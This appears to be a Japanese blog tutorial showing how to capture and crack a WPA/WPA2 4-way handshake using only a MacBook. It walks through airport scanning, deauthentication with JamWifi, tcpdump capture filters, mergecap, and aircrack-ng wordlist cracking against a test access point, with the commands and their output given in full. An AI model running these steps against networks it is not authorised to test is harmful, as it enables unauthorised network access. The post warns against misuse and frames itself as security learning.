Wireless Hackでよくある4 way handshake sniffingの話(それ、Macbookでもできるよ)

tl;dr

  • 無線のセキュリティを考えるときに触ることになるWireless Hackingの入門(4-way handshake sniffing)
  • 本とかブログとか読んで「えぇ...Wireless Hacking用にアダプタ用意しなきゃいけないの?」とか「アダプタどれならええんや...」とか「アダプタ買ったけど良いけど対応してるドライバどれだよ」とかで疲れ気味な人向け
  • それ、Macbook 1 台でできるよ
  • 「Hak5のWifi Pineappleサイコー」だとか「今度のBlackHatにもPineappleおじさん出没するのかな」とかいった危ない上級者の方はどうぞお帰りください. (USB Rubber Duckyって日本で引っかかる人いるのかな...ガワを変えれば刺しちゃうかな?)

注意事項

  • あくまで実験の一環です. 悪用厳禁.
  • 実際に企業さんとかカフェとか, 自身の管理下にないAPに対して行うときは誓約書とか用意してしっかり契約結んでください.

内容

  • Setup
    • airport(標準コマンド)
    • JamWifi(App)
    • tcpdump(コマンド - brewとかからインストール...かな?いらないかも)
    • mergecap(コマンド - brewから)
    • aircrack-ng or hashcat(コマンド - brewから)
  • KaliLinuxでやってるsniff and crack WPA/WPA2 4-way handshakeと同じ
    • Scan
    • Monitor
    • Deauth: 必要があれば
    • Sniff
    • Crack

Setup

  • airport
    macOS標準の無線周りに触るためのコマンド.
    ただしPathの箇所にはいない(はず、初めてさわった時はいなかった)のでalias or Pathのディレクトリにln -sしておくこと.
    ※個人的にはln -s推奨. のちほどsudoでの実行が必要になるので.
% which airport
airport: aliased to /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport
  • JamWifi
    Deauthするときに使うアプリ. 検証のときには特に必要ない.
    実際に攻撃が行われる場合, 攻撃対象APには大抵すでに接続端末があるので, Deauth packetsを送る > 再接続のときの4 way handshakeを捕まえる, という流れになる.
    攻撃を受ける側の動作としてみておくと吉.
    このブログを書いている時はちゃんと動いてくれていない(Scan時にBSSIDが取れていなかった)ので, 別のものも用意しておいた方が良さそう.
    Deauth packetを送るツールは他にもあるっぽいので要調査.

  • tcpdump
    言わずと知れたトラフィックダンプツール.
    入っているはず...入ってなかったらbrew install tcpdumpとかbrew install wiresharkとかでいけるはず(テキトー)

  • mergecap
    パケットのキャプチャファイルを結合するためのコマンド.
    Wireshark同梱.

brew install wireshark
  • aircrack-ng(or hashcat)
    hash crack tool. インストール.
brew install aircrack-ng

Attack(検証)

今回の対象はSSID「victim-a」. passwordは「nknskn-password」とします.

  • Scan
$ airport -s

f:id:news-nknskn:20190403004552p:plain BSSIDを確認. 74:03:bd:74:e0:d5
接続channelは100

  • 準備
$ export BSSID=74:03:bd:74:e0:d5
$ sudo airport -z # Wifi接続の切断
$ sudo airport -c100  # Channel設定
$ sudo airport -c # 設定状況の確認 
channel: 100
$ echo $BSSID
74:03:bd:74:e0:d5

f:id:news-nknskn:20190403005818p:plain

$ sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en0 -w beacon_`date +%s`.cap
tcpdump: listening on en0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 262144 bytes
1 packet captured
40 packets received by filter
0 packets dropped by kernel

f:id:news-nknskn:20190403013427p:plain

$ sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i en0 -w handshake_`date +%s`.cap
tcpdump: listening on en0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 262144 bytes
^C4 packets captured
7322 packets received by filter
0 packets dropped by kernel

f:id:news-nknskn:20190403013439p:plain

  • Crack
    • Merge beacon packet and handshake packets
$ mergecap -a -F pcap -w capture.cap beacon_1554221349.cap handshake_1554221397.cap
  • aircrack-ng
$ aircrack-ng -w sample_word.lst capture.cap
...
KEY FOUND! [ nknskn-password ]

f:id:news-nknskn:20190403013215p:plain

コメント

  • 眠いのでひとまずここまで. なんかあればまた追記します.